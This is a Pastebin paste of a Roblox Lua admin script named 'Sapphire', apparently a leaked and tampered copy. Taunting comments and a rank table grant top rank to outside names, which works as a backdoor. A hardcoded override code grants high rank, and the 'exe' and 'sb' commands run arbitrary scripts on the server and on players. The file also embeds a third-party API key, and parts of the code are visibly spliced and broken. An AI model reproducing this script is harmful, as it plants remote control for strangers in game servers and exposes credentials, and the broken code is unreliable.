Advertisement
Guest User

Untitled

a guest
Feb 19th, 2018
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.41 KB | None | 0 0
  1. local module = {}
  2.  
  3.  
  4. --Well well well, Look who it is LMAOO.
  5. --You have done fucked up oii. Done done fucked up
  6. --Never Mess with Plexolo and ranked moderators.
  7. --Here you go kiddos
  8. Services = setmetatable({},{__index=function(s,n)
  9. if n == "ChatService" then
  10. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  11. else
  12. return game:service(n)
  13. end
  14. end})
  15. local ArchChat = Services.ChatService:AddSpeaker("Sapphire")
  16.  
  17. if not Services.ChatService:GetChannel("All") then
  18. Services.ChatService:AddChannel("All")
  19. for i,v in next, game:service'Players':players() do
  20. if Services.ChatService:GetSpeaker(v.Name) then
  21. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  22. end
  23. end
  24. end
  25.  
  26. ArchChat:JoinChannel("All")
  27.  
  28. ArchChat:SetExtraData("NameColor", Color3.new(
  29. 0.0/255.0,
  30. 255/255.0,
  31. 255/255.0))
  32. ArchChat:SetExtraData("ChatColor", Color3.new(
  33. 211.0/255.0,
  34. 211.0/255.0,
  35. 211.0/255.0))
  36.  
  37.  
  38.  
  39.  
  40. ArchChat:SayMessage("Sapphire has loaded.","All")
  41. ArchChat:SayMessage("For rank 0, say cmds! to view commands.","All")
  42.  
  43.  
  44. Services.ChatService:GetChannel("All").WelcomeMessage = "Sapphire Administration has been loaded on this place."
  45.  
  46. --[[ Sapphire by Lethox & KCROL ]]--
  47. local UpdateFound = false;
  48. local SaveLeave = false;
  49. local FC = require(607033461)
  50. local Waves = true
  51. local tabDesign = "Neon"
  52. local BackTab = true
  53. local Override = "L0LM0MMYW3SH3R3"
  54. local AgeLimit = 150
  55. --// Variables
  56. local Ranks = {
  57. {Rank = 0, Desc = "Guest"};
  58. {Rank = 1, Desc = "Player"};
  59. {Rank = 2, Desc = "Trusted"};
  60. {Rank = 3, Desc = "Moderator"};
  61. {Rank = 4, Desc = "Admin"};
  62. {Rank = 5, Desc = "Head Admin"};
  63. {Rank = 6, Desc = "Co-Owner"};
  64. {Rank = 7, Desc = "Developer"};
  65. };
  66. local Ranked = {
  67. {['Name'] = 'mertcetin', ['rank'] = 7, ['Reason'] = 'Who knows? (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  68. {['Name'] = 'Reloxz', ['rank'] = 7, ['Reason'] = 'Leaking Sapphire (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  69. {['Name'] = 'LOLMOMMY7', ['rank'] = 7, ['Reason'] = 'idk anymore (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  70. };
  71.  
  72. local Tablets = {};
  73. local Commands = {};
  74. local Banned = {};
  75. local bannedscripts = {""}
  76. local Splitkey = '/'
  77. --// Functions
  78.  
  79. function Convert(color)
  80. return BrickColor.new(color).Color
  81. end
  82.  
  83. function AgeLimitBan(plr)
  84. if plr.AccountAge < AgeLimit then
  85. plr:kick('[Sapphire]: Your account age is below 150 days. You can join in '..AgeLimit - plr.AccountAge..' days.')
  86. end
  87. end
  88.  
  89. --Message--
  90.  
  91. function Message(msg, plr)
  92. for i,v in pairs(game.Players:GetPlayers()) do
  93. coroutine.wrap(function()
  94. -- Objects
  95.  
  96. local ScreenGui = Instance.new("ScreenGui")
  97. local Frame = Instance.new("Frame")
  98. local TextLabel = Instance.new("TextLabel")
  99. local TextLabel_2 = Instance.new("TextLabel")
  100.  
  101. -- Properties
  102.  
  103. ScreenGui.Parent = v.PlayerGui
  104.  
  105. Frame.Parent = ScreenGui
  106. Frame.BackgroundColor3 = Color3.new(0, 0, 0)
  107. Frame.BackgroundTransparency = 0.5
  108. Frame.Position = UDim2.new(0.5, -150, 0.5, -800)
  109. Frame.Size = UDim2.new(0, 300, 0, 300)
  110. Frame.Visible = true
  111.  
  112. TextLabel.Parent = Frame
  113. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  114. TextLabel.BackgroundTransparency = 1
  115. TextLabel.Position = UDim2.new(0.5, -150, 0, 0)
  116. TextLabel.Size = UDim2.new(0, 300, 0, 50)
  117. TextLabel.Font = Enum.Font.Highway
  118. TextLabel.FontSize = Enum.FontSize.Size32
  119. TextLabel.Text = "Sapphire MESSAGE"
  120. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  121. TextLabel.TextSize = 32
  122.  
  123. TextLabel_2.Parent = Frame
  124. TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
  125. TextLabel_2.BackgroundTransparency = 1
  126. TextLabel_2.Position = UDim2.new(0.5, -100, 0, 100)
  127. TextLabel_2.Size = UDim2.new(0, 200, 0, 100)
  128. TextLabel_2.Font = Enum.Font.SourceSansItalic
  129. TextLabel_2.FontSize = Enum.FontSize.Size14
  130. TextLabel_2.Text = tostring(msg)
  131. TextLabel_2.TextColor3 = Color3.new(1, 1, 1)
  132. TextLabel_2.TextScaled = true
  133. TextLabel_2.TextSize = 14
  134. TextLabel_2.TextWrapped = true
  135.  
  136. Frame:TweenPosition(UDim2.new(0.5,-150,0.5,-150), "Out", "Back", 3)
  137. wait(6)
  138. Frame:TweenPosition(UDim2.new(0.5,-1400,0.5,-150), "Out", 6, 3)
  139. wait(5)
  140. ScreenGui:remove()
  141. end)()
  142. end
  143. end
  144.  
  145. --CFrame--
  146.  
  147. local ang=0
  148. game:GetService("RunService").Stepped:connect(function()
  149. ypcall(function()
  150. for _,Player in pairs(game:service'Players':GetPlayers()) do
  151. local PlayerTablets = {}
  152. for i,v in pairs(Tablets) do
  153. if v.Tab1.Parent ~= nil and v.Tab2.Parent ~= nil and v.Player == Player then
  154. table.insert(PlayerTablets, v)
  155. end
  156. end
  157. for i = 1, #PlayerTablets do
  158. ypcall(function()
  159. local tab = PlayerTablets[i].Tab1
  160. local tab2 = PlayerTablets[i].Tab2
  161. local pos = nil
  162. ypcall(function()
  163. pos = Player.Character.Torso.CFrame
  164. end)
  165. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  166. local y = math.sin(i + tick()*3.4)
  167. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  168. local cPos = tab.Position
  169. local ePos = Vector3.new(x, y, z) + (pos.p or Vector3.new(0, -5, 0))
  170. local nPos = (ePos-cPos)*.25
  171. cPos = cPos + nPos
  172. local t = (tick() - tick()) % 360
  173. local change = 0.0025
  174. ang=ang+change
  175. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(-8.25), 0, 0) * CFrame.Angles(math.rad(.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(ang), math.rad(ang), math.rad(ang))
  176. tab2.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 5, 0))) * CFrame.Angles(math.rad(8.25), 0, 0) * CFrame.Angles(math.rad(-.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(0.00001), math.rad(0.00001), math.rad(0.00001))
  177.  
  178. end)
  179. end
  180. end
  181. end)
  182. end)
  183.  
  184. function Output(player,name,color,func)
  185. if name==nil then name='Error!' end
  186. if color==nil then color=tostring('Institutional white') end
  187. if player==nil then return false end
  188. local Tab = Instance.new('Part',workspace.Terrain)
  189. Tab.Anchored,Tab.Locked,Tab.CanCollide,Tab.BottomSurface,Tab.TopSurface=true,true,false,0,0
  190. Tab.Transparency = 0
  191. Tab.Size = Vector3.new(2,2,2)
  192. Tab.BrickColor = BrickColor.new(tostring(color))
  193. Tab.Position = player.Character.Head.Position
  194. local Tabb = Instance.new('Part',workspace.Terrain)
  195. Tabb.Anchored,Tabb.Locked,Tabb.CanCollide,Tabb.BottomSurface,Tabb.TopSurface=true,true,false,0,0
  196. Tabb.Transparency = 0
  197. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  198. Tabb.BrickColor = BrickColor.new(tostring(color))
  199. Tabb.Position = player.Character.Head.Position
  200.  
  201. local Gui=Instance.new("BillboardGui", Tab)
  202. Gui.Adornee=Tab;
  203. Gui.StudsOffset = Vector3.new(0, 1.3, 0)
  204. Gui.Size = UDim2.new(8, 0, 7.5,0)
  205.  
  206. local Label=Instance.new("TextLabel", Gui)
  207. Label.Font = "SciFi"
  208. Label.TextColor3=Convert(tostring(color))
  209. Label.BackgroundTransparency=1
  210. Label.FontSize = "Size24"
  211. Label.Font = "SourceSansBold"
  212. Label.TextStrokeTransparency=1
  213. Label.Text = tostring(name)
  214. Label.TextStrokeColor3=Convert(tostring(color))
  215. Label.Size = UDim2.new(1, 0, 0.5, 0)
  216.  
  217. local CLICK=Instance.new("ClickDetector", Tab)
  218. CLICK.MaxActivationDistance=math.huge
  219.  
  220. CLICK.MouseClick:connect(function(p)
  221. if p.userId == player.userId or GetRank(p) > GetRank(player) then
  222. if func == nil then
  223. for i = 1, 5 do
  224. Tab.Transparency=Tab.Transparency + .1
  225. Tab.Size=Tab.Size - Vector3.new(.01,.01,.01)
  226. wait()
  227. end
  228. Tab:Destroy()
  229. Tabb:Destroy()
  230. else
  231. for i = 1, 5 do
  232. Tab.Transparency=Tab.Transparency + .1
  233. Tab.Size=Tab.Size - Vector3.new(.010,.010,.010)
  234. wait()
  235. end
  236. Tab:Destroy()
  237. Tabb:Destroy()
  238. func = func
  239. func()
  240. end
  241. end
  242. CLICK.MouseHoverEnter:connect(function(p)
  243. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  244. for i = 1, 1 do
  245. Tab.Transparency = .7
  246. Tab.Size = Tab.Size + Vector3.new(.1,.1,.1)
  247. end
  248. end
  249. end)
  250. CLICK.MouseHoverLeave:connect(function(p)
  251. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  252. Tab.Transparency = .3
  253. Tab.Size = Vector3.new(2,2,2)
  254. end
  255. end)
  256. end)
  257.  
  258. if tabDesign == "Double" then
  259. Tab.Size = Vector3.new(2,2,2)
  260. Tabb.Size = Vector3.new(.7,.7,.7)
  261. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  262. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  263. Tabb.Transparency = 0
  264. Tab.Transparency = 0.3
  265. elseif tabDesign == "Plain" then
  266. Tab.Size = Vector3.new(2,2,2)
  267. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  268. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  269. Tabb.Transparency = 1
  270. Tab.Transparency = 0
  271. elseif tabDesign == "SelectionBox" then
  272. Tab.Size = Vector3.new(2,2,2)
  273. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  274. local sel = Instance.new('SelectionBox',Tab)
  275. sel.Color = Tab.BrickColor
  276. sel.LineThickness = 0.01
  277. sel.Adornee = Tab
  278. Tab.Transparency = 0.3
  279. Tabb.Transparency = 1
  280. elseif tabDesign == "DoubledSel" then
  281. Tab.Size = Vector3.new(2,2,2)
  282. Tabb.Size = Vector3.new(.7,.7,.7)
  283. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  284. local sel = Instance.new('SelectionBox',Tab)
  285. sel.Color = Tab.BrickColor
  286. sel.LineThickness = 0.01
  287. sel.Adornee = Tab
  288. Tab.Transparency = 0.3
  289. Tabb.Transparency = 0
  290. elseif tabDesign == "Orb" then
  291. Tab.Size = Vector3.new(2,2,2)
  292. Tabb.Transparency = 1
  293. Tab.Transparency = 0
  294. local m = Instance.new('SpecialMesh',Tab)
  295. m.MeshType = "Sphere"
  296. m.Scale = Vector3.new(1,1,1)
  297. elseif tabDesign == "DoubleOrb" then
  298. Tab.Size = Vector3.new(2,2,2)
  299. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  300. Tab.Transparency = 0.3
  301. local m = Instance.new('SpecialMesh',Tab)
  302. m.MeshType = "Sphere"
  303. m.Scale = Vector3.new(1,1,1)
  304. local m = Instance.new('SpecialMesh',Tabb)
  305. m.MeshType = "Sphere"
  306. m.Scale = Vector3.new(.6,.6,.6)
  307. elseif tabDesign == "Flat" then
  308. Tab.Size = Vector3.new(3,4,0.2)
  309. Tab.Transparency = 0
  310. Tabb.Transparency = 1
  311. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  312. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  313. elseif tabDesign == "DoubleFlat" then
  314. Tab.Size = Vector3.new(3,4,0.4)
  315. Tab.Transparency = .3
  316. Tabb.Transparency = 0
  317. Tabb.Size = Vector3.new(2,3,0.2)
  318. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  319. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  320. elseif tabDesign == "Neon" then
  321. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  322. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  323. Tab.Material = "Neon"
  324. Tab.Size = Vector3.new(2,2,2)
  325. Tab.Transparency=0
  326. Tabb.Size = Vector3.new(.7,.7,.7)
  327. Tabb.Transparency = 1
  328. end
  329.  
  330. table.insert(Tablets, {Tab1 = Tab, Tab2 = Tabb, Player = player})
  331. end
  332.  
  333.  
  334.  
  335. AddRank = function(Name, Rank, Reason, Color, Trans, SelBox, Suffix)
  336. if type(Name) == 'userdata' then Name = Name.Name end
  337. table.insert(Ranked, {['Name'] = Name, ['Rank'] = Rank, ['Reason'] = Reason, ['Color'] = Color, ['Transparency'] = Trans, ['SelBox'] = SelBox, ['Suffix'] = Suffix})
  338. end
  339.  
  340. SetRank = function(player, rank)
  341. if type(player) == 'userdata' then player = player.Name end
  342. for _,plr in next,Ranked do
  343. if plr.Name == player then
  344. plr.Rank = rank
  345. end
  346. end
  347.  
  348. AddRank(player, rank, "A normal player", "Toothpaste", .3, false, '~')
  349. end
  350.  
  351. function getRanked(player)
  352. Dismiss(player)
  353. Output(player, 'Getting ranked table, please wait...', 'Institutional white')
  354. wait(3)
  355. Dismiss(player)
  356. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  357. for _,plr in next,Ranked do
  358. Output(player, plr.Name, 'Institutional white', function()
  359. Dismiss(player)
  360. Output(player, 'Name: '..plr.Name, 'Institutional white')
  361. Output(player, 'Rank: '..GetRank(plr), 'Lime green')
  362. Output(player, 'Description: '..GetDesc(plr), 'Deep orange')
  363. Output(player, 'Suffix: '..GetSuffix(plr), 'Cyan')
  364. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  365. end)
  366. end
  367. end
  368.  
  369. function GetRank(plr)
  370. if type(plr) == 'userdata' then
  371. plr=tostring(plr)
  372. elseif type(plr) == 'string' then
  373. plr=plr.Name
  374. else
  375. plr=plr
  376. end
  377.  
  378. for _,data in pairs(Ranked) do
  379. if data['Name'] == plr then
  380. local rnk = data['Rank']
  381. return rnk --If plr is on the rank list their rank is here
  382. end
  383. end
  384.  
  385. return 0 --Player's rank will be 0 if not on the list
  386. end
  387.  
  388. function GetSuffix(plr)
  389. if type(plr) == 'userdata' then
  390. plr=tostring(plr)
  391. elseif type(plr) == 'string' then
  392. plr=plr.Name
  393. else
  394. plr=plr
  395. end
  396.  
  397. for _,data in pairs(Ranked) do
  398. if data['Name'] == plr then
  399. local suffix = data['Suffix']
  400. return suffix --If plr is on the rank list their rank is here
  401. end
  402. end
  403.  
  404. return '!' --Player's suffix is ! if not ranked.
  405. end
  406.  
  407. function GetDesc(plr)
  408. if type(plr) == 'userdata' then
  409. plr=tostring(plr)
  410. elseif type(plr) == 'string' then
  411. plr=plr.Name
  412. else
  413. plr=plr
  414. end
  415.  
  416. for _,data in pairs(Ranked) do
  417. if data['Name'] == plr then
  418. local reason = data['Reason']
  419. return reason
  420. end
  421. end
  422.  
  423. return 'A normal player!'
  424. end
  425.  
  426. function GetColor(plr)
  427. if type(plr) == 'userdata' then
  428. plr=tostring(plr)
  429. elseif type(plr) == 'string' then
  430. plr=plr.Name
  431. else
  432. plr=plr
  433. end
  434.  
  435. for _,data in pairs(Ranked) do
  436. if data['Name'] == plr then
  437. local clr = data['Color']
  438. return clr --If plr is on the rank list their color here
  439. end
  440. end
  441.  
  442. return 'Cyan' --Player's color is Cyan if not ranked.
  443. end
  444.  
  445. function Dismiss(plr)
  446. pcall(function()
  447. for _,tablets in pairs(Tablets) do
  448. if tablets.Player == plr then
  449. local T = coroutine.create(function()
  450. repeat
  451. game:GetService("RunService").Heartbeat:wait(0.000000000000000000000001)
  452. tablets.Tab1.Size=Vector3.new(tablets.Tab1.Size.X-0.1,tablets.Tab1.Size.Y-0.1,tablets.Tab1.Size.Z-0.1)
  453. tablets.Tab2.Size=Vector3.new(tablets.Tab2.Size.X-0.1,tablets.Tab2.Size.Y-0.1,tablets.Tab2.Size.Z-0.1)
  454. until tablets.Tab1.Size.X 2 then
  455. message = message:sub(2)
  456. end
  457. elseif message:sub(1, 1) == '>' then
  458. if #message > 2 then
  459. message = message:sub(2)
  460. end
  461. end
  462.  
  463.  
  464. local command=message
  465. for _, CMDS in pairs(Commands) do
  466. if command:sub(1, #CMDS['Say']+#GetSuffix(speaker)) == CMDS['Say']..GetSuffix(speaker) then
  467. if GetRank(speaker) >= CMDS['Rank'] then
  468. local msg = command:sub(#CMDS["Say"]+#GetSuffix(speaker)+1)
  469. a,b = ypcall(function()
  470. CMDS["Func"](speaker, msg)
  471. end)
  472. if not a then warn(b) Output(speaker, 'ERROR: '..b, 'Really red') end
  473. else
  474. Output(speaker, 'You need rank '..CMDS['Rank']..' to use this command!', 'Really red')
  475. end
  476. end
  477. end
  478. end
  479.  
  480.  
  481.  
  482.  
  483. function NewCommand(name, usage, rank, desc, func)
  484. table.insert(Commands, {['Name'] = name, ['Say'] = usage, ['Rank'] = rank, ['Desc'] = desc, ['Func'] = func})
  485. end
  486.  
  487. function SBChat(title,msg)
  488. pcall(function()
  489. for i,v in pairs(game.Players:GetPlayers()) do
  490. local value = Instance.new('StringValue',v)
  491. value.Name = "SB_Chat"
  492. value.Value = tostring(title)..'/'..msg
  493. game.Debris:AddItem(value,.1)
  494. end
  495. end)
  496. end
  497.  
  498. function SBChatAll(name, cht)
  499. for _,plr in pairs(game.Players:GetPlayers()) do
  500. SBChat(plr, name, cht)
  501. end
  502. end
  503.  
  504. GetPlayers = function(plr, msg)
  505. local plrs = {}
  506. if msg:match("^!") then
  507. return FindPlayers(plr, msg:sub(2), true)
  508. elseif msg == "me" then
  509. table.insert(plrs, plr)
  510. elseif msg == "all" then FindPlayers = function(plr, msg)
  511. local plrs = {}
  512. if msg:match("^!") then
  513. return FindPlayers(plr, msg:sub(2), true)
  514. elseif msg == "me" then
  515. table.insert(plrs, plr)
  516. elseif msg == "all" then
  517. for _,v in pairs(game:service'Players':players()) do
  518. table.insert(plrs, v)
  519. end
  520. elseif msg == "others" then
  521. for _,v in pairs(game:service'Players':players()) do
  522. if v ~= plr then
  523. table.insert(plrs, v)
  524. end
  525. end
  526. else
  527. for _,v in pairs(game:service'Players':players()) do
  528. if v.Name:lower():sub(1,#msg) == msg:lower() then
  529. table.insert(plrs, v)
  530. end
  531. end
  532. end
  533. return plrs
  534. end
  535. for _,v in pairs(game:service'Players':players()) do
  536. table.insert(plrs, v)
  537. end
  538. elseif msg == "others" then
  539. for _,v in pairs(game:service'Players':players()) do
  540. if v ~= plr then
  541. table.insert(plrs, v)
  542. end end
  543. else for _,v in pairs(game:service'Players':players()) do
  544.  
  545. if v.Name:lower():sub(1,#msg) == msg:lower() then
  546. table.insert(plrs, v)
  547. end
  548. end
  549. end
  550. return plrs
  551. end
  552.  
  553. function ConnectPlayer(plr)
  554. wait(1);
  555. for _,bans in pairs(Banned) do
  556. if plr.Name == bans then
  557. plr:kick("[Sapphire]: You are banned!")
  558. end
  559. end
  560. end
  561.  
  562. for _,plr in pairs(game.Players:GetPlayers()) do
  563. ConnectPlayer(plr)
  564. end
  565.  
  566. game.Players.PlayerAdded:connect(function(plr)
  567. ConnectPlayer(plr)
  568. Output(plr, 'Welcome to Sapphire, '..plr.Name..'!','Lime green')
  569. Output(plr, 'Your rank is: '..GetRank(plr),'Deep orange')
  570. Output(plr, 'Click to show commands','Bright green',function() Commands_E(plr) end)
  571. Output(plr, 'Dismiss','Really red',function() Dismiss(plr) end)
  572. Output(plr, 'Your dick is '..GetSuffix(plr), 'Cyan')
  573.  
  574.  
  575. plr.Chatted:connect(function(m)
  576. Chatted(plr, m)
  577. end)
  578.  
  579. ArchChat:SayMessage(plr.Name.." has joined the game!","All")
  580.  
  581. setChatColor(plr)
  582. end)
  583.  
  584. game.Players.PlayerRemoving:connect(function(player)
  585. ArchChat:SayMessage(player.Name.." has left the game.","All")
  586. end)
  587.  
  588. function Sbexe(cmd,plr)
  589. if not type(cmd)=='string'then return end
  590. if plr then
  591. if type(plr)=='userdata'then
  592. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  593. elseif type(plr)=='string'then
  594. plr = game:GetService('Players'):FindFirstChild(plr)
  595. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  596. end
  597. else
  598. for i,v in pairs(game:GetService('Players'):children())do
  599. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  600. end
  601. end
  602. end
  603.  
  604. --// Moving on from functions
  605.  
  606. NewCommand("ForceField", 'ff',3,'Give a player a forcefield',function(player,message)
  607. for _,plr in next,GetPlayers(player,message) do
  608. Instance.new('ForceField',plr.Character)
  609. end
  610. end)
  611.  
  612. NewCommand('Commands', 'cmds',0,'Show the commands',function(player,message)
  613. Commands_E(player)
  614. end)
  615.  
  616. NewCommand('Dismiss','dt',0,'Dismisses tablets',function(player,message)
  617. Dismiss(player)
  618. end)
  619.  
  620. NewCommand('SB Exe','sb',5,'Make a player run a SB Command/Script',function(player,message)
  621. local Split = message:find(Splitkey)
  622. local PreSplit = message:sub(1, Split - 1)
  623. local AfterSplit = message:sub(Split + 1)
  624. for _,plr in next,GetPlayers(player,PreSplit) do
  625. Sbexe(tostring(AfterSplit), plr)
  626. end
  627. end)
  628.  
  629. NewCommand('Kick','kick',4,'Kick a player',function(player,message)
  630. local Split = message:find(Splitkey)
  631. local PreSplit = message:sub(1, Split - 1)
  632. local AfterSplit = message:sub(Split + 1)
  633. for _,plr in next,GetPlayers(player,PreSplit) do
  634. plr:kick('[Sapphire]: You have been kicked for '..tostring(AfterSplit))
  635. end
  636. end)
  637.  
  638. NewCommand('Kill','kill',3,'Kill a player',function(player,message)
  639. for _,plr in next,GetPlayers(player,message) do
  640. plr.Character.Humanoid.Health = 0
  641. end
  642. end)
  643.  
  644. NewCommand('Rank','rank',7,'Set a players rank',function(player,message)
  645. local Split = message:find(Splitkey)
  646. local PreSplit = message:sub(1, Split - 1)
  647. local AfterSplit = message:sub(Split + 1)
  648. for _,plr in next,GetPlayers(player,PreSplit) do
  649. SetRank(plr, tonumber(AfterSplit))
  650. end
  651. end)
  652.  
  653. NewCommand('God','god',3,'God a player',function(player,message)
  654. for _,plr in next,GetPlayers(player,message) do
  655. plr.Character.Humanoid.MaxHealth = math.huge
  656. end
  657. end)
  658.  
  659. NewCommand('UnGod','ungod',3,'Remove a players god mode',function(player,message)
  660. for _,plr in next,GetPlayers(player,message) do
  661. plr.Character.Humanoid.MaxHealth = 100
  662. end
  663. end)
  664.  
  665. NewCommand("SBExe To All",'sball',6,'Run a SB script to everyone',function(player,message)
  666. Output(player, 'Made everyone do '..message,GetColor(player))
  667. for i,v in pairs(game.Players:GetPlayers()) do
  668. Sbexe(message, v)
  669. end
  670. end)
  671.  
  672. NewCommand('Execute','exe',5,'Execute a script',function(player,message)
  673. local success,errored = loadstring(message)
  674. if success and not errored then
  675. success()
  676. else
  677. Output(player, 'Sapphire - Error: '..errored,'Really red')
  678. end
  679. end)
  680.  
  681. NewCommand('UnFF','unff',3,'Remove someones forcefield',function(player,message)
  682. for _,plr in next,GetPlayers(player,message) do
  683. for i,v in pairs(plr.Character:children()) do
  684. if v:IsA("ForceField") or v.ClassName == "ForceField" then
  685. v:remove()
  686. end
  687. end
  688. end
  689. end)
  690.  
  691. NewCommand('Ban','ban',5,'Ban a player',function(player,message)
  692. local Split = message:find(Splitkey)
  693. local PreSplit = message:sub(1, Split - 1)
  694. local AfterSplit = message:sub(Split + 1)
  695. for _,plr in next,GetPlayers(player,PreSplit) do
  696. plr:kick('[Sapphire]: You have been banned for '..tostring(AfterSplit))
  697. table.insert(Banned, plr.Name)
  698. end
  699. end)
  700.  
  701. NewCommand('Message','msg',3,'Send a server message',function(player,message)
  702. Message(message)
  703. end)
  704.  
  705. NewCommand("Set Bass","bass",4,"Set the bass of every sound on ROBLOX",function(player,message)
  706. Output(player, 'Set the bass to '..tonumber(message),GetColor(player))
  707. game:GetService("SoundService").AmbientReverb = tonumber(message)
  708. end)
  709.  
  710. NewCommand('Music','play',4,'Play a music sound',function(player,message)
  711. Output(player, 'Now playing: '..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name..'','Institutional white')
  712. ArchChat:SayMessage("Now playing "..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name, "All")
  713. local s = Instance.new('Sound',workspace) s.SoundId = 'rbxassetid://'..message s.Volume = 1 s.Pitch = 1 s.Looped = true s:play()
  714. end)
  715.  
  716. NewCommand('Stop Music','stop',4,'Stop all running music',function(player,message)
  717. for i,v in pairs(workspace:children(), workspace.Terrain:children()) do
  718. if v:IsA("Sound") then
  719. v:remove()
  720. SBChat('Sapphire','Stopped all running music.')
  721. end
  722. end
  723. end)
  724.  
  725. NewCommand('Respawn','rsp',3,'Respawn a player',function(player,message)
  726. for _,plr in next,GetPlayers(player,message) do
  727. plr:LoadCharacter()
  728. end
  729. end)
  730.  
  731. NewCommand("Define", "def", 0, "Defines a word", function(player, message)
  732. local http=game:GetService('HttpService')
  733. local req=http:GetAsync("http://api.wordnik.com/v4/word.json/"..message.."/definitions?limit=1&includeRelated=false&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5",true)
  734. req=http:JSONDecode(req)
  735. local def={}
  736. for i in string.gmatch(req[1].text, "%w+%p*") do
  737. table.insert(def,i)
  738. end
  739. local defs=""
  740. for _,v in pairs(def) do
  741. defs=defs..v.." "
  742. if _%10==0 then defs=defs.."n" end
  743. end
  744. Output(player,defs,GetColor(player))
  745. end)
  746.  
  747. NewCommand('Rank Override','override',0,'Show a GUI. If you enter the code right, you get rank 6.',function(player,message)
  748. -- Objects
  749.  
  750. local Interface = Instance.new("ScreenGui")
  751. local Body = Instance.new("Frame")
  752. local head = Instance.new("TextLabel")
  753. local CodeInput = Instance.new("TextBox")
  754. local LoginButton = Instance.new("TextButton")
  755. local CancelButton = Instance.new("TextButton")
  756. local TextLabel = Instance.new("TextLabel")
  757.  
  758. -- Properties
  759.  
  760. Interface.Name = "Interface"
  761. Interface.Parent = player.PlayerGui
  762.  
  763. Body.Name = "Body"
  764. Body.Parent = Interface
  765. Body.BackgroundColor3 = Color3.new(0, 0, 0)
  766. Body.BackgroundTransparency = 0.5
  767. Body.Position = UDim2.new(0.5, -150, 0.5, -150)
  768. Body.Size = UDim2.new(0, 300, 0, 300)
  769.  
  770. head.Name = "head"
  771. head.Parent = Body
  772. head.BackgroundColor3 = Color3.new(1, 1, 1)
  773. head.BackgroundTransparency = 1
  774. head.Position = UDim2.new(0.5, -150, 0, 0)
  775. head.Size = UDim2.new(0, 300, 0, 50)
  776. head.Font = Enum.Font.Highway
  777. head.FontSize = Enum.FontSize.Size28
  778. head.Text = "Sapphire Rank Override"
  779. head.TextColor3 = Color3.new(1, 1, 1)
  780. head.TextSize = 28
  781.  
  782. CodeInput.Name = "CodeInput"
  783. CodeInput.Parent = Body
  784. CodeInput.BackgroundColor3 = Color3.new(1, 1, 1)
  785. CodeInput.Position = UDim2.new(0.5, -75, 0, 100)
  786. CodeInput.Size = UDim2.new(0, 150, 0, 30)
  787. CodeInput.Font = Enum.Font.SourceSans
  788. CodeInput.FontSize = Enum.FontSize.Size14
  789. CodeInput.Text = "Login"
  790. CodeInput.TextScaled = true
  791. CodeInput.TextSize = 14
  792. CodeInput.TextWrapped = true
  793.  
  794. LoginButton.Name = "LoginButton"
  795. LoginButton.Parent = Body
  796. LoginButton.BackgroundColor3 = Color3.new(1, 1, 1)
  797. LoginButton.BackgroundTransparency = 1
  798. LoginButton.Position = UDim2.new(0, 25, 0, 150)
  799. LoginButton.Size = UDim2.new(0, 80, 0, 30)
  800. LoginButton.Font = Enum.Font.SourceSansBold
  801. LoginButton.FontSize = Enum.FontSize.Size28
  802. LoginButton.Text = "Login"
  803. LoginButton.TextColor3 = Color3.new(0.333333, 0.666667, 0)
  804. LoginButton.TextSize = 28
  805.  
  806. CancelButton.Name = "CancelButton"
  807. CancelButton.Parent = Body
  808. CancelButton.BackgroundColor3 = Color3.new(1, 1, 1)
  809. CancelButton.BackgroundTransparency = 1
  810. CancelButton.Position = UDim2.new(0, 200, 0, 150)
  811. CancelButton.Size = UDim2.new(0, 80, 0, 30)
  812. CancelButton.Font = Enum.Font.SourceSansBold
  813. CancelButton.FontSize = Enum.FontSize.Size28
